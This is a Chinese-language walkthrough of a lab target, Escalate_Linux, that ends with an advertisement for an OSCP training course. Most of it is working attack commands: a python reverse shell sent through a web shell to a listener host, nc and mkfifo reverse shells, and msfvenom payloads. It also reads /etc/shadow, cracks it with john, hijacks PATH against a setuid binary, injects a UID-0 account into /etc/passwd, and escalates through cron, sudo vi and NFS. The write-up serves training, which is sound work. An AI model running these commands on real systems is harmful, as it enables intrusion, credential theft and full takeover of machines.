一、探测靶机IP(进行信息收集)
主机发现
arp-scan -l
nmap -sS -sV -T5 -p- 192.168.10.24 -A
┌──(root㉿kali)-[/home/yzy/Desktop]
└─# nmap -sS -sV -T5 -p- 192.168.10.24 -A
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-29 20:11 CST
Nmap scan report for 192.168.10.24
Host is up (0.00078s latency).
Not shown: 65526 closed tcp ports (reset)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100003 3 2049/udp nfs
| 100003 3 2049/udp6 nfs
| 100003 3,4 2049/tcp nfs
| 100003 3,4 2049/tcp6 nfs
| 100005 1,2,3 33904/udp6 mountd
| 100005 1,2,3 37467/tcp6 mountd
| 100005 1,2,3 57063/tcp mountd
| 100005 1,2,3 59194/udp mountd
| 100021 1,3,4 34019/tcp nlockmgr
| 100021 1,3,4 46297/tcp6 nlockmgr
| 100021 1,3,4 52616/udp6 nlockmgr
| 100021 1,3,4 58781/udp nlockmgr
| 100227 3 2049/tcp nfs_acl
| 100227 3 2049/tcp6 nfs_acl
| 100227 3 2049/udp nfs_acl
|_ 100227 3 2049/udp6 nfs_acl
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
2049/tcp open nfs 3-4 (RPC #100003)
34019/tcp open nlockmgr 1-4 (RPC #100021)
41173/tcp open mountd 1-3 (RPC #100005)
57063/tcp open mountd 1-3 (RPC #100005)
57071/tcp open mountd 1-3 (RPC #100005)
MAC Address: 00:0C:29:0A:6E:D1 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: Host: LINUX
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_nbstat: NetBIOS name: LINUX, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-time:
| date: 2025-04-29T12:11:37
|_ start_date: N/A
|_clock-skew: mean: 1h20m00s, deviation: 2h18m34s, median: 0s
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
| Computer name: osboxes
| NetBIOS computer name: LINUXx00
| Domain name: x00
| FQDN: osboxes
|_ System time: 2025-04-29T08:11:37-04:00
TRACEROUTE
HOP RTT ADDRESS
1 0.78 ms 192.168.10.24
二、进行目录枚举
dirb http://192.168.10.24
没有爆出什么东西
dirsearch -u http://192.168.10.24/turing-bolo/ -e* -i 200,300-399 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 1000
还是没有爆出什么东西
进入网页查看,发现是阿帕奇的默认界面,尝试爆破.php页面,web平台默认支持PHP,如admin.php
、login.php
、upload.php
dirb http://192.168.10.24 -X .php
发现一个shell.php
访问一下,尝试cmd
三、反弹shell
http://192.168.10.24/shell.php?cmd=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.10.11",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
反弹成功
建立交互式终端
python -c "import pty; pty.spawn('/bin/bash');"
find / -perm -4000 -print 2>/dev/null
四、提权
方法一(SUID提权)
前面通过find命令找到了user3用户下有一个shell脚本,并且可以执行,直接提权
方法二(Path环境变量)
尝试:
发现user3用户下还有一个.script.sh,为root用户的,权限都有,猜测是定时任务
echo'import os; os.system("/bin/nc 192.168.10.11 4444 -e /bin/bash")' > /home/user3/.script.sh
但是这不是定时任务并没有执行,前面看到user5还有一个程序也是script,下载下来看看
python -m SimpleHTTPServer 4444
wget http://192.168.10.24:4444/script
下载后放到IDA反汇编
-
setuid(0);
:setuid
函数的作用是设置当前进程的用户 ID。参数0
代表超级用户(root)。调用setuid(0)
会让当前进程以超级用户的身份运行。 -
setgid(0);
:setgid
函数用于设置当前进程的组 ID。参数0
同样代表超级用户组。调用setgid(0)
会让当前进程以超级用户组的身份运行。 -
system("ls");
:system
函数会调用系统的命令解释器(通常是/bin/sh
)来执行指定的命令。这里的命令是ls
,其功能是列出当前目录下的文件和文件夹。 -
return 0;
:此语句让main
函数返回0
,意味着程序正常结束
在user5里面还发现了一个ls程序
wget http://192.168.10.24:4444/ls
下载下来后发现是三个命令
根据前面的script二进制文件可以知道,这个程序是以root运行的,以root的身份去执行ls命令,那么我们就可以通过环境变量来实现提权
cd /tmp
echo"/bin/bash" > ls
chmod +x ls
echo$PATH
export PATH=/tmp:$PATH
cd /home/user5/
./script
echo $PATH
-
echo
:用于输出内容到标准输出。 -
$PATH
:这是一个环境变量,它包含了一系列用冒号分隔的目录路径。当你在命令行输入一个命令时,系统会在$PATH
所包含的这些目录里查找对应的可执行文件。此命令会输出当前$PATH
环境变量的值。
export PATH=/tmp:$PATH
-
export
:用于设置环境变量。 -
PATH=/tmp:$PATH
:将/tmp
目录添加到PATH
环境变量的最前面。这样一来,当你在命令行输入命令时,系统会先在/tmp
目录中查找对应的可执行文件,若找不到,再到$PATH
里的其他目录查找。
方法三(john爆破)
原理和方法二是一样的,这里我们直接查看用户加密后的密码
cd /tmp
echo'cat /etc/shadow' > ls
chmod +x ls
echo$PATH
export PATH=/tmp:$PATH
cd /home/user5/
./script
$6$mqjgcFoM$X/qNpZR6gXPAxdgDjFpaD1yPIqUF5l5ZDANRTKyvcHQwSqSxX5lA7n22kjEkQhSP6Uq7cPaYfzPSmgATM9cwD1
hash-identifier
发现为SHA-256加密,但是这里是错的,这里是$6$salt$encrypted
,对应 SHA-512(而非 SHA-256,后者对应 $5$
)
echo'$6$mqjgcFoM$X/qNpZR6gXPAxdgDjFpaD1yPIqUF5l5ZDANRTKyvcHQwSqSxX5lA7n22kjEkQhSP6Uq7cPaYfzPSmgATM9cwD1' > hash.txt
john --format=sha512crypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
爆破出来密码为12345
方法四(添加root用户密码哈希)
优点
绕过权限限制:若 /etc/passwd
意外可写(如配置错误),普通用户也可利用。
密码隐蔽性:直接使用哈希值,避免明文密码泄露。
快速执行:无需调用外部命令,直接修改文件
缺点
高风险操作:手动修改 /etc/passwd
易引发格式错误(如缺少字段),导致系统故障。
易被检测:文件完整性检查工具(如 AIDE)会标记 /etc/passwd
变动。
哈希兼容性:需确保哈希格式与系统匹配(如 $1$
为 MD5,可能被禁用)
还是和前面的思路一样,这里是利用root用户修改etc/passwd来添加一个新的root用户
opeenssl生成一个密码,-1是加盐
openssl passwd -1 123
$1$4JMaJmaF$5BKYPnsUZWBU1KFYS675W1
root
是登录名;x
表示密码存于 /etc/shadow
,就是一个占位符;0
是 UID 与 GID,代表超级用户和 root
组;root
是描述;/root
是主目录;/bin/bash
是默认 shell
这样我们就可以将openssl生成的密码写入
yzy:$1$4JMaJmaF$5BKYPnsUZWBU1KFYS675W1:0:0:yzy:/root:/bin/bash
这里要注意,>>为添加到末尾,而>会直接覆盖
cd /tmp
echo'echo "yzy:$1$4JMaJmaF$5BKYPnsUZWBU1KFYS675W1:0:0:yzy:/root:/bin/bash" >> /etc/passwd' > ls
chmod +x ls
echo$PATH
export PATH=/tmp:$PATH
cd /home/user5/
./script
方法五(添加root用户明文传输)
实际情况优先方法五
更隐蔽但是明文密码可能在进程列表或日志中泄露
符合系统规范:使用标准命令 useradd
和 chpasswd
,不易被安全工具标记。
操作可控:自动处理用户创建和密码设置的关联操作。
日志误导:若系统未记录敏感操作,可能混入正常日志。
cd /tmp
echo'useradd -o -u 0 -g 0 -d /root -s /bin/bash liming && ' > ls
echo'echo "liming:123" | chpasswd' >> ls
chmod +x ls
export PATH=/tmp:$PATH
cd /home/user5/
./script
chpasswd
是一个用于批量更改用户密码的命令,它会从标准输入读取用户名和密码信息,格式为 username:password
,随后为指定用户设置相应的密码。
方法六(定时任务提权)
cat /etc/crontab
可以看到每过5分钟会以root来执行user4下的autoscript.sh
可以看到只有user4才能进行写入操作,而我们不知道user4的密码,那么我们就可以通过上面的环境变量继续修改密码
cd /tmp
echo'echo "user4:123456" | chpasswd' > ls
chmod +x ls
export PATH=/tmp:$PATH
cd /home/user5/
./script
切换成功
cd /home/user4/Desktop/
echo"rm /tmp/f;mkfifo /tmp/f; cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.10.11 7777 >/tmp/f" > autoscript.sh
耐心等5分钟这个是可以成功的
方法七(定时任务提权MSF)
如果使用msf
msfvenom -p cmd/unix/reverse_netcat lhost=192.168.10.11 lport=7777 R
可以上述那样直接在屏幕生成反弹代码,也可以像下面一样,将反弹代码生成到一个文件种
msfvenom -p cmd/unix/reverse_netcat lhost=192.168.226.3 lport=7777 -f raw -o bmfxpe
echo"mkfifo /tmp/vnfr; nc 192.168.10.11 7777 0</tmp/vnfr | /bin/sh >/tmp/vnfr 2>&1; rm /tmp/vnfr" > autoscript.sh
还是等待5分钟就ok
方法八(sudo提权vi编辑器)
cat /etc/sudoers
看到user8无需密码即可执行vi
cd /tmp
echo'echo "user8:123456" | chpasswd' > ls
chmod +x ls
export PATH=/tmp:$PATH
cd /home/user5/
./script
sudo vi
:!/bin/bash
输好后直接按enter键
方法九(sudo su)
可以看到user2有user1的权限,user1有root权限
直接修改user1的密码
cd /tmp
echo'echo "user1:123456" | chpasswd' >/tmp/ls
chmod +x ls
export PATH=/tmp:$PATH
cd /home/user5/
./script
方法十
因为可以看到user2有user1的权限,我们可以通过user2无需密码直接切换到user1
还是和上面一样修改user2的密码
方法十一(root用户组)
cat /etc/passwd
可以看到user7为root组
还是一样的直接修改密码
cd /tmp
echo'echo "user7:123456" | chpasswd' >/tmp/ls
chmod +x ls
export PATH=/tmp:$PATH
cd /home/user5/
./script
方法十二(mysql)
mysql -uroot -proot
show databases;
use user
show tables;
select * from user_info;
mysql
mysql@12345
su mysql
find / -name mysql 2>/dev/null
查找mysql文件
cd /var/mysql
发现一个.user_informations,用户信息,给权限查看
chmod 777 .user_informations
cat .user_informations
这里可以看到用户名和用户的初始密码
cd /etc/mysql
ls
cat secret.cnf
又得到了root初始密码,但是前面都已经改了
方法十三
前面的find查找的时候还发现了user3下的shell程序
python -m SimpleHTTPServer 5555
wget http://192.168.10.24:5555/shell
放IDA反汇编,和前面是一样的
echo"/bin/bash" > .script.sh
./shell
方法十四(NFS挂载)
cat /etc/exports
no_root_squash —-关闭了安全功能
这时我们就可以挂载到本地
cd /tmp
mkdir user5
mount -t nfs 192.168.10.24:/home/user5 /tmp/user5
可以看到挂载成功
方法一
cp /bin/sh ./
ls -l sh
然后到user5去执行,但是思路是没有问题的,应该是libc库版本的原因
方法二
将shell.c写入
#include <stdlib.h>
int main() { setuid(0); setgid(0); system("/bin/sh"); }
gcc shell.c -o shell
这里也失败了,同样是libc版本的原因
END
oscp
有对红队工作感兴趣,或者有意报考oscp的师傅,可以考虑一下我们的培训课程,加我微信咨询,好处如下:
1.报考后课程随时可看,并且如果对考试没有信心,还可以留群跟第二批课程学习,不限次数时间,报考即是一辈子可看
2.200+台靶机及官方课程,lab靶机+域的内容团队泷老师和小羽老师会带大家全部过一遍,并且群内随时答疑,团队老师及群友都会积极解答,全天可答疑
3.目前可接受分期付款,无利息,最多分四个月,第一次付完即可观看视频
4.加入课程可享受工作推荐机会,优秀者可内推至红队
5.报考即送送官方文档中文版,以及kali命令详解中文版,纯人工翻译,版权为团队所有
知识星球
还可以加入我们的知识星球,包含cs二开,甲壳虫,红盟工具等,还有很多src挖掘资料包
原文始发于微信公众号(泷羽Sec-临观):打靶日记 Escalate_Linux
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论